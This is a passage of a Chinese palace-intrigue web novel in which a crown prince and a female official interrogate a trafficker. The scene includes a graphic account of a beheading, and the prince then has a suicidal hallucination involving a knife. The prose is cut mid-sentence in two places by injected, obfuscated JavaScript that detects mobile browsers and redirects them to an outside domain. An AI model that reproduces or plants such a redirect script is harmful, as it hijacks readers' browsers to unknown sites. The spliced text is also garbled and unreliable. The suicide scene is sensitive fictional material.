萧玠道:“我正想请教娘子。女科取士并非不公正,也并非选取诸女做内闱女官,而是堂堂正正立于朝廷、和男人一样建功立业。如此之举,为何成效寥寥?” 崔鲲道:“奉皇六年至十年,共开考试三榜,女科进士二百三十余人。但请问殿下,如今朝中有几个在职女官?” 她嘴唇又薄又利,轻轻吐出一句话:“不足十人。” “依照国朝取士之俗,凡进士入朝,十之有八要外放地方。殿下认为,女官家中会不会同意?让女子读书入仕已是冒大不韪,再让女儿背井离乡——在她们二三十岁的年纪,她们的父母会不会答应?”崔鲲顿了顿,“而且,殿下,女人入朝,不代表放弃婚姻和家庭。” “她们既要承担政务的压力,又要担负相夫教子和生儿育女的重任。甚至有些考上之后,家中依旧不让她们入朝,托病辞官,命女嫁人。而那些已经成婚的女官,站在朝廷上更为艰难。”崔鲲看着萧玠的眼睛,“殿下,臣请问,如果一个身怀六甲的女官站在朝廷之上,在陷入观点争辩甚至是党争的时候,她要面对什么?” 萧玠瞳仁一缩,喃喃说:“羞辱。” 崔鲲直视她的眼睛,“是,羞辱。她受孕甚至嫁人,说明她依旧是一个男人的附属,和床笫间的泄欲之物——殿下,几千年了,你应该知道‘贞节’甚至只是男女之事的谈论,能多么轻易地杀死一个女人。” “但是,臣还没活够。而且臣有自信,臣会活得比很多男人都要强。”她凝视萧玠,双目如同火苗,“妾走这条路,就做好了身死的打算。妾可以死于阴谋党争,甚至可以死于陛下雷霆之怒,但绝不会为女子清誉这种虚名而死。妾入仕,就要清誉二字再压不死任何一个女子。” 萧玠轻轻吸了口气。 在见到崔鲲之前,他有许多疑问梗在胸口。 这是一个怎样的女子,她是如何在这样轻的年纪压倒一众士子一举夺魁,又有怎样强大的魅力,说动郑绥用婚姻做援手,帮她出牢笼。 全部的谜团,在这一刻,彻底烟消云散。 和历代满腹诗书但最终香消闺阁的才女相比,才华只是崔燕微最微不足道的部分。或许她没有比肩男人的力量,但她有超越男人的勇敢。 蔑视权威、蔑视正统、蔑视纲常的勇敢,认同自我的勇敢。 她勇敢到反抗一家之父后挑战一国之父,在反用婚姻的套子迷惑生父后,面对君父,说出罔民者君。 如果一天,一个男人向她下跪,一定由于她的官阶和正义,绝不是一条石榴裙。 “还有,”崔鲲道,“臣如今是朝廷官员,和殿下所谈也是公事,殿下请勿以‘娘子’相称。” 萧玠有些赧然,“是,我刚刚忖度过,只是称官职显得太生疏,称‘崔郎’,也不是道理。” 崔鲲笑道:“臣草字鹏英。” 萧玠也笑了:“今日鹏英的吉日,先歇一歇。明日一块去刑部,着手审理王云楠案。今日前来,我也是想与卿商议,是否让一个人介入。” 崔鲲问:“嘉国公世子么?” 她见萧玠吃惊的神色,笑道:“这位假王云楠越狱当夜,嘉国公父子曾到他的府上。王府聚众不在少数,但独这二人,陛下没有发落。或许嘉国公所见所闻能够对案情有所助益。而且臣听闻,殿下与世子相识虽短,但交从甚深。” 崔鲲看着萧玠的脸,明明她才是那个吃过酒的人,但脸颊泛红的却是萧玠。 她缓缓道:“殿下想要世子与案,是否心中有私。” 萧玠听到自己胸口里扑通扑通地跳,他吞咽一下,方道:“是。” 他顶着崔鲲目光,深深呼吸,继续说:“我相信世子的人品,所以希望他能参与其中,一方面给予助力,一方面……如果他是忠臣,就此以示忠心。京中有关虞氏的流言已起,我受过流言之困,不希望无辜之人再遭其害。” “如果,不是无辜呢?”崔鲲问。 “我已经替卿请旨,若有意见相悖之处,卿可以和三司合议,暂停我旁听之权,也可以直接越级上呈天听。到时候就算我有心回护,陛下也会严惩不贷。”萧玠看着她的眼睛,“我心中的确有私,也不会叫私情妨碍公义。不管是他,还是……旁人。” 他抱袖深深一躬,“但请鹏英放心。” 崔鲲看着萧玠头顶的玉冠,没有发出声音。 她判断出,这是一个优缺点都非常明显的储君。他包容、善良、智慧,但容易动感情。 只要适度,感情不会成为统治者的瑕疵,也只有感情,才会让君主跨越阶层,为远离自己生活的百姓考虑。但同样,一个优秀的统治者,感情绝不能超出理性。 沉默中,萧玠并没有起身,仍保持一个揖礼的姿势。 终于,崔鲲整理衣袖,相对而拜。 她的妥协并非退让。太子是否会感情用事她还无法定论,但她知道,他的父亲绝对不会。这样重大的案件不是他磨炼太子的好时机。皇帝让这样柔软性格的儿子参与其中,一定有相当的考量。 “臣崔鲲,谨遵钧令。” *** 翌日,萧恒下达监制火炮的旨意,嘉国公世子为首捐银千两,又献新式兵器图数幅。皇帝议监造一职,朝野传闻,圣心暗许这位世子爷。虞闻道又常伴东宫,眼看着就要成为炙手可热的一朝新贵。 让萧玠没想到的是,崔鲲居然和这位热灶上的新贵一起赶来刑部。 萧玠看到虞闻道,有些惊诧,“我原以为你近日空闲,才想让鹏英找你,谁知这两天就下了明旨……监制火器这样的大事不容有失,你别分心。” 虞闻道笑道:“臣只是捐了一笔钱,画了几张图纸而已。陛下要彻底革新兵械,臣就算为了殿下,也得冲锋陷阵摇旗呐喊啊。” 萧玠说:“我见了那几张兵器图了,这就是你说的游手好闲?深藏不露呢,三哥。” 虞闻道笑道:“雕虫小技,能由陛下圣鉴,是臣阖族的荣幸。” 崔鲲看看这个,又看看那个,道:“世子也不必过谦。陛下要改军制,必须要过世族这一关。世子肯激流勇进担当重任,所利不只在于旧式新式的军制,更在于世族民庶的政治。有世子这样的世族新贵,是大梁之幸。既然任命的明旨尚未下达,又有殿下作保,世子能者多劳,先把心放在这桩案子上吧。” 萧玠听她口气,有些了然:“看起来,你们两个交涉过了。” 崔鲲将招文袋摘下来,从里头取出几封文书递给萧玠,“节省办公时间。这是虞郎的口述,虽然有待查证,但依臣判断,没有大问题。” 萧玠翻看几页,心中猜测落定。 虞山铖果然是为萧恒办事。 他抬头对上虞闻道眼神,虞闻道耸耸肩,“臣知道的只这么多。臣画过一张军械图,听从父命进献陛下后,陛下和臣父有过几次密谈,但其中内容,家父都语焉不详。直到王氏兄弟案接连处置,臣才意识到,陛下可能要通过臣父来了解世族动向,甚至制定计划。就像东宫摆宴那日王云楠抄家,臣父正是内应之一。殿下不信,陛下应该会给出答案。” 萧玠抓紧那几张文书,“你为什么从没有提过?” 虞闻道笑道:“陛下并不愿殿下卷入是非。只是如今情势,臣只能借此自证无罪。” 他虽这样说,但在场都明白,虞闻道向太子乃至崔鲲剖诚,一定是得到虞山铖的允许,甚至是要求。 嘉国公府从暗中倒向皇帝,到明处转投太子,说明在皇帝和世族的斗争中,虞山铖做出了决定。 “虽没有人证物证,但可以作一份脱罪书。”崔鲲从萧玠手中取过文书,“虞郎,这是你的书证,如有不妥,下官是能追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566388|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责的。” 虞闻道无奈道,“就算瞧小郑的面子,我能诓你么?” 公堂瞬间静了。 两息后,崔鲲停滞的手指重新活动,把文书放回招文袋中。她看向萧玠,发觉萧玠脸色居然有些发白。 一旁,虞闻道仍仿若未觉,笑道:“小郑临行前,你俩不是去户部登记了么?虽未举办婚礼,到底也是名正言顺的夫妻。我和小郑兄弟一场,我诓骗谁,总不能骗到弟妹头上。” 夫妻。 可能昨夜睡得不好,萧玠只觉脑袋有些飘忽,连耳朵也是,像滴进了油。他隐约听得崔鲲道:“既是兄弟,想必游骑将军也同世子说明白了。将军对下官只是援手,报称下官随军,好让下官能迁居别住,准备科举。下官同将军秋毫无犯,如今下官已入仕,待将军还京,便去和离。” 她看着虞闻道的眼睛,“下官相信,世子绝非抱守牝鸡之论的迂腐之辈。” 虞闻道笑了一声,又瞧瞧萧玠脸色,“我的不是,本意只是揶揄两句,绝没有旁的意思,还请崔员外郎见谅——殿下,殿下?” 虞闻道叫了几声,萧玠才回过神,冲他笑一笑,“我更是没什么问题。” 崔鲲视线从二人中间打了个转,说:“臣先去牢房,知会提审人犯。” 她脚步声远去,虞闻道也恢复一些平常姿态。他微微压低脊背,侧过身子,齐平视线地看了会萧玠,笑了笑,直接去拉萧玠的手。 萧玠吓了一跳,发觉虞闻道打开他掌心,在看那道伤疤。 虞闻道说:“这么长时间了,殿下的伤口长得仍不算好。臣有瓶玉露膏,药性也温和,明天给殿下拿来。” 萧玠只说:“不用这样麻烦。” “从前小郑给殿下捎这捎那,殿下可从没有推脱过。”虞闻道拖长声音,“臣自然比不上小郑同殿下少小的情意——” 这边是衙门,随时可能来人。萧玠忙叫道:“你别乱说!” 虞闻道倒像不明所以,“他是殿下的伴读,如今又是皇亲,可不是少小的情意么?” 萧玠不讲话。 “只是臣没想到,对郑绥结亲这件事,殿下的反应这么大。”虞闻道说,“比崔娘子的反应还大。” 萧玠抬头,直视他的眼睛,说:“我刚刚只是在想,如果奉皇五年,嘉国公在京,会是怎样的光景。” 虞闻道眼睑闪动一下。 萧玠鲜少这样言辞尖刻,这对他来说,是比走神更严重的失态。 他在害怕。 被窥破心事的害怕。 但他又如此聪慧,他为了掩饰恐惧而发的言论,未尝没有切中虞闻道的恐惧。 虞闻道拱手道:“臣父子二人,当为殿下肝脑涂地。” 萧玠看了他一会,声音有些叹息:“三哥,永远不要欺瞒我。我发现一次,再不会相信你的。” 虞闻道举起手掌,“愿与殿下击掌为誓。” 日色入堂,绽开一抹胭脂光,映在脸上,倒像寒冬冻伤的红痕。对视片刻,萧玠举起右手手,击在虞闻道掌上。 这一会,衙役已经赶过来,“殿下,人犯已提入公堂,员外郎请您前去旁听。” 萧玠颔首,虞闻道便请他先行,却听萧玠叫一声:“三哥。” 萧玠一瞬不瞬地凝视他,“陛下和嘉国公的约定——或者说交易,你真的不清楚吗?” 虞闻道看着他,片刻后,说:“是。” 萧玠抿了抿唇角,方才那点冷利的神情如同幻影,消散之时,柔软的神色又从他脸上浮现出来。 虞闻道突然明白,那个誓言不是萧玠索要的东西,而是他给出的东西。他用一句誓言就轻易换来了萧玠的信任。从今往后,自己任何一句话,萧玠都不会置疑。 萧玠终于对他笑了:“那一块去瞧瞧吧,希望这张嘴能吐出点我们想知道的事情。” *** 崔鲲翻看案卷,“樊百家,你是专门料理输送女子的路子吗?” 被叫做樊百家的男人跪在公堂上,短须,白面,身量瘦小,年龄在三十往上。他抬起头,看看崔鲲,又看看旁坐的萧玠,说:“是。” “你们的买家都有什么人?” “都有,一般商户和地方官居多。买了女人,然后送给高官。女人和钱一样,都是贿赂。” “你倒清楚。” “见多了,也听多了。” “见多听多,干得也不少。”崔鲲将卷宗合上,“换句话说,你们接触的应当是直接买家——也就是买女的底层官吏,而不是□□的京中高官。” “是。” “但看你之前的口供,明确指认这十八名女子是送给王云楠的贿资,但对买主含糊其辞。” 樊百家脸色变化,嘴唇微微颤抖。 崔鲲冷声道:“本官相信,刑狱的滋味你已经尝过了。你不说,本官有的是法子撬开你的嘴。你好好想想,是戴罪立功,还是要受些皮肉之苦?” 樊百家鼻子耸动,两腮战栗几下,深深吐出口气,说:“草民招供。草民之所以清楚……因为向王云楠送女的……是草民的主子。” 崔鲲双眼微眯,“你的主子,是谁?” “是……” “等等。”居然是一直沉默的太子出言打断,他看向一旁记录审讯问答的两名录事,“录事退下。” “殿下。”崔鲲眉头微皱,“这不合章程。” “我在此旁听,也不合章程。”萧玠看向她,“员外郎,陛下特准此案‘不合章程’的深意,你明白吗?” 崔鲲默了一会,向两名录事点头。 录事退下后,萧玠赶在崔鲲前,一字一句问道:“樊百家,本宫代天旁听,如有虚言,罪同欺君。希望你明白你所说的每一个字,在你罪名上的分量。” “本宫问你,你的主子,是谁。” 樊百家头低下去,囚衣上隆起的胛骨的凸痕。像块山石,萧玠想。 然后他听到砰一声岩石崩落——樊百家额头撞在地上,和随此传来的颤抖的声音—— “臣是从前的小秦淮暗线,奉南秦大公令,联络长安吏员。” 46. 第 46 章 终于来了。 萧玠没有显露出任何情绪,他紧抿嘴唇,慢慢靠回椅背,右手五根手指依次敲击桌案。崔鲲已蹙紧眉头,问:“你是指,拐贩女孩、交际高官,是南秦大公的意思?” 樊百家额头仍抵在地上,“草民不敢欺瞒。殿下想必也听说过,从前的小秦淮名为娼馆,实为南秦大公在京据点,以此刺探情报,为秦地所用。” 萧玠道:“但小秦淮在奉皇六年就被禁卫奉旨拔除了,这件事,陛下同秦公有所交涉。” 樊百家抬起头,“陛下明令,我们大王……秦公只得遵旨。但小秦淮是他多年心血,岂能甘心毁于一旦?” 崔鲲拾了录事的笔墨,边问边记,“你的意思是,秦公阳奉阴违,罪犯欺君?” 樊百家头颅垂下,嘴唇蠕动着,第一个字音刚发出头,却被太子打断: “樊百家,你是什么时候为小秦淮做事的?” 樊百家循声看去,见太子右手搭在桌案上,食指缓慢捻动一枚白玉扳指。他垂首看着他,用一双沉静的黑眼睛。 说不清道不明地,樊百家胸中一跳,咽口唾沫,谨慎道:“草民是在奉皇二年进京。” “一直在京?” “是。” “这些年里,你都为小秦淮做过什么事?”萧玠说,“你总得有些印象。” 樊百家嘴巴一开一闭,鼻孔一张一合,终于,他咬一咬牙,说:“奉皇五年,诸公京乱之际,草民向温吉王城飞鸽传信,回城时,碰到李文正公遇刺……” 虞闻道心中一紧,忙去看萧玠,先瞧见他捏成拳头的手掌,像一块剜掉的树瘤。似乎下一刻,萧玠的五官就能揪成一团。 但他现在依旧面无表情,只是语气迅速:“说下去。” “是。当时街上乱得很,但所有人都给文正公让出条道。他从台子上跳下来,向街边的当垆女买了一壶酒,应当是杏花酒——草民见他从怀里摸出了一吊钱。他拔出木塞时,一股清香溢出……的确是杏花酒,但九月的杏花酒发酸发涩,并不算好。他吃了一口,脸上却露出如饮仙酿的熏熏然的表情,这时候,他突然发出一阵大笑。 “我们所有人都停下动作,等他发话。他又吃一口酒……对,在他吃完第二口酒后,他举起酒壶,念出了那首《水调歌头》,二十载蜉命……” 萧玠喃喃道:“九万□□风。” “是。百姓叫他鼓动起来,原本在哄闹,但在他一动作,人们全部安静下来。说实话,他们未必料到接下来的伏杀,只是被这样的场景震撼到了。可文正公不一样。他脸上带着笑,神色和肢体都很放松,但他绝对知道接下来要发生什么事。我甚至觉得,他在站到台上的那一刻,就预知了自己的结局。 “草民借一辆泥人车的遮掩跟着他。他穿过永仁坊,往东走,应当要回扶桑巷。在他要过桥的时候,我就有所察觉了。人群出现异动,两排房屋的阁楼的人全部换掉,我几乎听见搭箭在弦的声音……就在我怀疑是否幻听时,我听到了风声。” 萧玠盯着他,“说下去。” 樊百家吞咽一下,“那是一支弩箭,箭身和箭头比寻常羽箭要粗很多。那支箭从成衣铺的二楼迎面射来,洞穿了他的左胸。箭镞从他后背穿出足有两寸,血喷了将近三尺高,草民当时就能断定,那一箭足以射碎他的心脏。 “文正公倒地的瞬间,城中起了暴动,前一刻示威叫喊的百姓立刻变成无头苍蝇,满街都是哭爹喊娘声。我的任务是向南秦汇报一切实情,便没有撤离现场。我藏在泥人推车底下,看见无数腿脚奔跑逃命,他们穿着不同尺寸和样式的鞋子,但和被追杀的猎物没什么两样。等这些腿脚渐渐散开,我在地上,看到了睁着双眼的文正公,可怕的是,他脸上还带着活着的微笑。下一刻,我看到一只手揪住他的发髻,他软掉的那根脖子借力抬起来,然后——” “好了。”崔鲲打断。 “说下去。” “殿下!” 萧玠双臂撑在案上,两眼黑得吓人。他的头和脖子没有扭动一分,只转动眼珠,向崔鲲看了一眼,接着,那双黑眼仁骨碌碌滚回来,直勾勾盯回樊百家。 “说下去。”萧玠重复。 “然后,另一只手从他颈前伸出来。在看清那双手前,我先看清那手中拿着的匕首。那真是一把漂亮的家伙,锋面开得又细又薄,只怕蝴蝶站上都会割破脚掌——接着,一束强光突然射出,我意识到是他抽动匕首折射了阳光——那只是一个瞬间,我能再度看清那匕首时,我还看到了文正公被割掉脑袋的尸首,和那颗往下滴血的、睁着眼带着笑的……” “什么?”萧玠突然变色,他后背耸起,逼问一般,“你看到了什么?” 樊百家嘴唇两动:“人头。” 人头。 萧玠努力睁大眼睛,像要把眼珠子瞪出来。 看到了,萧恒瞒了他十一年,他联通所有人瞒了他整整十一年的真相,十一年后他终于看到了—— 李寒站在面前。 含笑的,年轻的,二十五岁的。 萧玠坐在椅中,仰头盯着他的脖子,一动不动。 这次不会自己掉下来了。萧玠冷酷地想。会有一把匕首。 一把匕首出现在李寒喉前。 萧玠盯着它,紧紧盯着。对,是这时候,不只是抽动,是切割,像宰割牲口一样切断他颈部的血管骨骼肌肉经络,这时候他死去不久,血还没有凝固—— 一束血箭飞射,远有三尺,正中萧玠冷漠、麻木、没有闪避的脸。 …… “殿下,殿下?” 萧玠回过神,发觉虞闻道正握着自己的手。 面对他焦急的神色,萧玠想笑,却听到自己冷静地说:“没事。” 接着,他转头看向樊百家,像一个真正的没事人一样,继续问:“除了这件事,讲一件你们真正的事。你们是什么时候开始借小秦淮的线路鬻人妻女的?” 樊百家说:“就是在京乱爆发的第二年,也就是梁皇帝下令紧闭娼馆不久。奉皇六年,二月。” 萧玠没有说话,这让虞闻道意识到,奉皇六年二月是一个不可触碰的节点。一直以来,萧玠似乎不在意外人对他伤痕的审视,直到这一刻虞闻道才觉得,那是因为他从没有暴露过真正的伤疤。 樊百家没等到萧玠的回复,只得继续:“我们第一次运送的是二十名苏州女孩,最大不过二十岁,通过水路运往京城。以防万一,她们路上都要服用一种名叫‘春日醉’的迷药,但在长安交易的那天,最后一个女孩的药效到了。她醒过来,开始挣扎。哪怕她被堵住嘴,撞击马车的声音还是引来众人旁观。有人将这件事报给金吾卫,我们收到消息时,金吾卫已经在赶来的路上。” 萧玠说:“但这件事并没有暴露。” 樊百家点头,“比金吾卫更早,我们先遇到了送永怀公主灵柩出城的队伍。” 虞闻道感觉到,这四个字如同霹雳,叫萧玠浑身哆嗦一下。他从椅中霍地站起来,双目如喷烈焰,他不顾风度、不顾章程地颤声问道:“你们做了什么,你们对公主的丧仪做了什么?” 樊百家不敢直视他的眼睛,低头道:“永怀公主是大王的女儿,送葬队伍中有我们相熟的头领……” “我们把她塞进了公主的棺椁。” 公堂里响起一场无声的爆炸,彻底寂静了。 樊百家几乎是每根眉毛都在颤抖,他一直没有听到萧玠的声音,这巨大的沉默几乎溺死他。在他鼓起劲抬头的一瞬,萧玠看到他的脸,突然推开椅子冲过来。 樊百家听见重重一响,知道是萧玠膝盖撞在案角上。这时候萧玠已经紧紧揪住他的衣领,几乎将他从地上提起来。他不敢相信,这个孱弱的皇太子居然有如此强烈的爆发力。那张苍白的少年的脸近在眼前,樊百家发现,在他眼中金色的怒火前,居然是一层蓝色的泪光。 太子声嘶力竭地喊道:“你们敢动她的棺椁……你们敢动她的棺椁!公主是你们能亵渎、是你们能染指的吗?!南秦人……她是秦大公的女儿,你们不知道吗!” 他十根手指松开樊百家,颤抖着捂在自己脸上。虞闻道冲上来时,听见萧玠指缝里挤出一道短促的嚎叫。 太无助了、太痛苦了、太绝望了。那种痛苦和绝望几乎像被人活活捏爆心脏。 虞闻道立刻把萧玠抱在臂弯,没有强行打开萧玠的手掌。这一刻,萧玠表现在人前的所有尊严和自持荡然无存。他听到萧玠的呜咽,感觉到萧玠把额头抵在自己手臂上,在破碎的哽咽声里,身体抖若筛糠。 “郎中,快把郎中找来!刑部有没有就近的医官?”虞闻道急声道,“员外郎,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566389|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天先到这里,殿下玉体为重。” 崔鲲眉头未舒,看了看萧玠,正要点头。 突然,虞闻道感觉抓住自己手臂的手指收紧了。他身后发出一道喑哑的声音: “你不是南秦人。” 虞闻道一惊,转身,见萧玠已经手脚并用地从地上爬起来。他带着满脸泪迹,慢慢走到樊百家面前蹲下,声音已经平静,开口时甚至没有一根睫毛颤动。他说:“亵渎灵柩,这是光明宗不会容忍的重罪。光明教义讲究赏罚分明,就算你搪塞过金吾卫立了功,只凭这一条,也不会留你在小秦淮里。你在说谎。” 萧玠面无表情,从怀中取出一本日日携带的明王经,随手翻开一页,举到他面前,“念。” 樊百家看着纸上密密麻麻的秦地古篆体,汗出如浆,道:“……草民不信教。” “哦,不信教。”萧玠拨开他脸颊侧的乱发,“不信教的人都要黥面,你的刺青呢?” “我……” 萧玠厉声喝道:“你不是南秦人——说!是谁要你嫁祸的,你想拿南秦做什么文章?” 樊百家粗重呼吸着,眼珠滚动一下,突然两腮一动—— 崔鲲双目精光一闪,当即喝道:“他要咬舌!” 几乎是同时,虞闻道一条手臂蟒一样蹿出,死死捏住樊百家两腮掐开他的两腭。已有血沫从他口中涌出,但还没有咬断舌头。 萧玠一只手扶着虞闻道肩膀来支撑身体,他缓缓直起身,说:“他不仅知道我的家事,还了解宫中的秘闻。留着他,找人给他看舌头,不要让他死掉。等我下次审问,不要一个无法开口的哑巴。” 说完这句话,萧玠拔腿走出衙门,一个人站了好一会。 身后响起脚步声。 崔鲲斟酌许久,还是开口:“殿下的私隐臣无意探查,但殿下‘家事’和南秦的瓜葛,臣不得不请教。” 萧玠转过头,“鹏英,我现在不想说。” 崔鲲面有不忍,还是道:“臣知道殿下有隐衷,但陛下命殿下旁听,不就是因为殿下是唯一知道这隐衷之人吗?而臣奉旨督办,殿下还信不过臣吗?” 萧玠嘴唇颤抖,仍一言不发。 崔鲲以为他态度松动,继续道:“天家无私事,更何况这桩案子牵涉甚深。永怀是秦公的女儿,公主只是陛下的追封,她和殿下究竟……” “崔卿!”萧玠突然喝断,他平复一下气息,道,“这件事,你永远不要问。” 崔鲲鼻中重重出一股气,冷笑道:“永不过问——就算关涉案情,关涉这十八女子、这十数年里百千女子的性命吗?” 萧玠抬头看她,说:“员外郎,你可以先告退了。” 崔鲲深深看他一眼,一揖及地,转身甩袖就走。她重重、飞快离去的脚步声里,萧玠的后背再度颤抖起来。 “殿下。” 是虞闻道的声音。 萧玠转过头,见虞闻道站在身后,无事发生般笑着,伸手向他递过酒囊。 萧玠笑一笑:“我不能吃酒的。” 虞闻道说:“不是酒,是梨浆,对喉咙好的。” 这酒囊他今天一直随身带着。 他是专门给自己带来的。 萧玠接过来,手握住那只玳瑁盖子,却怎么也拧不开。他抬起手,五根手指连着整个手掌都在颤抖。他瞧了瞧,又举向虞闻道,笑着说:“你看,一个罪犯,居然叫我这么害怕。” 虞闻道紧紧握住他的手,拇指间,两枚白玉扳指相碰。 萧玠盯着地面,看着自己的脚前,生出一双木屐。只露出半个屐底,双脚被儒生的青布袍摆遮盖完全。 李寒的脑袋又要掉下来了。 他没有像从前一样张臂接住他的人头。他抬起右手,掩住了脸。 樊百家的话是假的。 但李寒的死是真的。 萧玠尽力把自己缩起来,这时候才发觉,左手仍被虞闻道牢牢牵住。用力地,难以分割地,像本为一体那样。 萧玠脸仍埋在袖中,无法控制声音的颤抖,“什么都别问,好吗?什么都别问。” 虞闻道只和他十指交扣。 过了好一会,萧玠才重新抬起脸。他扭过头,露出一双通红的眼圈。 他哑声叫:“三哥。” “你能……抱抱我吗?” 47. 第 47 章 萧玠很害怕。 因为月亮出来了。 他听见有人叫他,阿兄。 萧玠失手打落茶盏时,窗喀啷一响。 窗棂边,拂过一只小手。 皮肤苍白,血管青蓝,十指纤纤。 是一只属于少女的手。 萧玠睁大眼睛,眼看窗后探出一颗女孩的人头。她睫毛扑闪,杏眼盈盈,宛如天仙,又似幽魂。她眨着大大的眼睛,对萧玠说,我知道,阿兄,你很讨厌我。 不不,我没有,我怎么会…… 你知道有我之后,一直很不开心。我透过阿耶的腹腔,见到过你看向我的眼神。 她粉红的、形状和秦灼一般无二的嘴唇开合着:我夺走了阿耶在你身上的注意,在你刚经历完京城动乱、最需要安抚和照顾的时候,他全部的精力都放在我身上。他不再盯着你吃药,不再过问你的病情和功课,他甚至忘记给你准备压岁钱,他和你说的最多的是‘等你妹妹出生之后’。你感觉他对我的爱远超过你。我抢走了你的东西。你恨我。 我没有!萧玠喃喃说,不,我没有,皎皎,我没有…… 你没有,那你为什么在发抖? 这时候,女孩整颗头探出来,动作僵硬,如同傀儡。如果萧玠神智清醒,他会看到,女孩的每个关节如悬丝线。追着那透明的千丝万缕的丝线,他将望到,天边,高挂一轮邪恶的月亮,铜绿色,像女孩生烟的皮肤。 女孩说:我死去后,所有人都在哭泣,你没有;所有人都一心一意沉浸在悲痛里,你没有。所有人都为我哀悼时,你却想怎么才能叫自己轻松一些,怎么才能好过一点。 我……皎皎,我太痛苦了,我受不了了。我很难过,我……我不知道该怎么办…… 萧玠慢慢蜷缩在地上。窗外,女孩光晕中青森森的身影如同巨人。 你知道该怎么办。你马上生病了,一场大病。你迫使所有人把注意力重新集中到你身上。女孩微笑,阿兄,你好聪明。 不,不!皎皎,我不是……我没有……我总是生病,你不是故意和你争抢,我不是…… 如果你没有生病,阿爹阿耶会全心全意地料理我的丧仪。他们会亲自护送我出城,阿耶会陪我一起回到南秦。在路上,不会发生任何事情。 窗中只露出女孩的脸,像她一颗头颅放在窗台上。萧玠看不到背后操控她的、和自己长得一模一样的青色男孩,人只看到,她眼仁青黑,倒映自己,毫无感情,如霜冰冷。 男孩借她的嘴巴阴森说道,阿兄,你知不知道,我听到他们撬开我的棺椁的时候,多么害怕?他们把那个女孩丢进来,我的身体被她压得变形,如果我刚死去,棺中会流满我的鲜血。但我死去多时,血已凝固,所以她只压断了我的胸骨。她拼命地敲打棺材,对我拳打脚踢。你不会想看到我被她折磨成了什么样子。金吾卫赶过来,我想,快些把她弄出去,我的胳膊要断了,我好疼啊。 女孩冷漠地说,但是,没有。因为我是阿爹追封的公主。擅动棺椁要掉脑袋。他们把这件事当成我不忍离去的显灵,但没有一个人知道,我死后不能安息的身体有多么痛苦。而现在,你要为了隐瞒你的身世、保全你尊贵的皇太子之位,无视我的屈辱。 我没有,我怎么会…… 那你为什么不让崔鲲追查下去?你千求万求得来的旁听之权,就是为了庇护罪犯逍遥法外?女孩看着他,说,因为他们,我的灵魂和肉身一起受到摧残,我永生永世只能困在月亮里,不能轮回,不能转世。离开月亮,我就要魂飞魄散。 萧玠颤声说,我不知道,皎皎,我真的不知道,如果我知道…… 你当然不会知道,你当时正缠绵病榻,重享双亲围绕的天伦之乐呢。女孩幽幽道,阿兄,你一场急病,害得我好惨。 对不起。萧玠痛哭流涕。对不起皎皎,我不该生病,对不起。 他垂着头,感觉什么东西爬上脸颊,像五条躯体柔软的蠕虫,在他脸上留下冰凉的湿痕。渐渐,他发觉,那是女孩的五根手指。 女孩抚摸他的脸,轻轻说,阿兄,其实,你一直很盼望我死掉,对不对?这样,就没有人争夺阿耶阿爹的关注了。你还是他们唯一的孩子,他们能爱的,只有你。 萧玠大颗大颗的眼泪掉落下来,哽咽道:皎皎,我常常想,该死掉的是我。你才是他们真正期盼的孩子。你活着,或许他们就不会分开……你会比我更让他们快乐。 女孩双臂搂住他脖颈,脸颊轻轻贴在他耳侧,这是个极度眷恋的姿势。当萧玠环抱她时,听见她冰冰凉凉的吐息。她贴在自己耳边,认真、不解地问: “那你为什么,不去死?” 萧玠浑身一僵。 我为什么,不去死。 萧玠感觉脖颈后好多处皮肤被揪起来。不知何时,那面青森透亮的月亮已溜到他背后,月光洒落亿万丝线,拧成一股粗重无形的白绫,绕上他的脖颈。那女孩背后的男孩口中发出计谋得逞的咯咯之声。 这时,女孩松开他,那只小手探向桌案,取过一只削水果的小刀,递到他面前,盈盈微笑。 …… “殿下。” 萧玠回过神,发现一枚小刀握在自己手中,而自己的手腕被另外一只手掌牢牢握住。 对面,虞闻道脸色谨慎地看着他。 萧玠安抚地笑了笑:“我想削个果子。” 虞闻道没有松手,“臣不觉得殿下的手腕长得像什么果子。甘蔗,还是莲藕?” “莲藕不是果子。”萧玠纠正,“你瞧,我脑袋清楚的。” 面对这个玩笑,虞闻道并没有松开眉头。他仔细看着萧玠的瞳孔,问:“到底怎么了?” 萧玠没有立刻回答,虞闻道察觉,他掌中那截手腕软绵下来。 萧玠小声说:“三哥,你把窗关上,好不好?” 虞闻道抬头一望,见窗边一面明月,皎洁流光。他将萧玠手中小刀插回刀鞘,拿着去关窗。他发现,月光阻隔后,萧玠脸上浮现一些血色,然后他问:“我怎么回来的?” 虞闻道说:“臣送你回来的。自从见完樊百家,殿下神色就不太好。回到东宫,不动不说,不吃不喝,吓得阿子内官又请太医有要寻陛下。倒是听见陛下,殿下回了些神,勒令他不许去甘露殿。臣怕端茶递水他自己应付不得,便请缨做这个毛遂。” 萧玠点点头,在接下来一段时间,没有把注意力放在他身上。 他在观察自己。而且萧玠发现,那把小刀在一盏茶的时间里,吸引了自己三次注意。这意味着,死亡再度对他产生诱惑。 这很可怕,太可怕了。 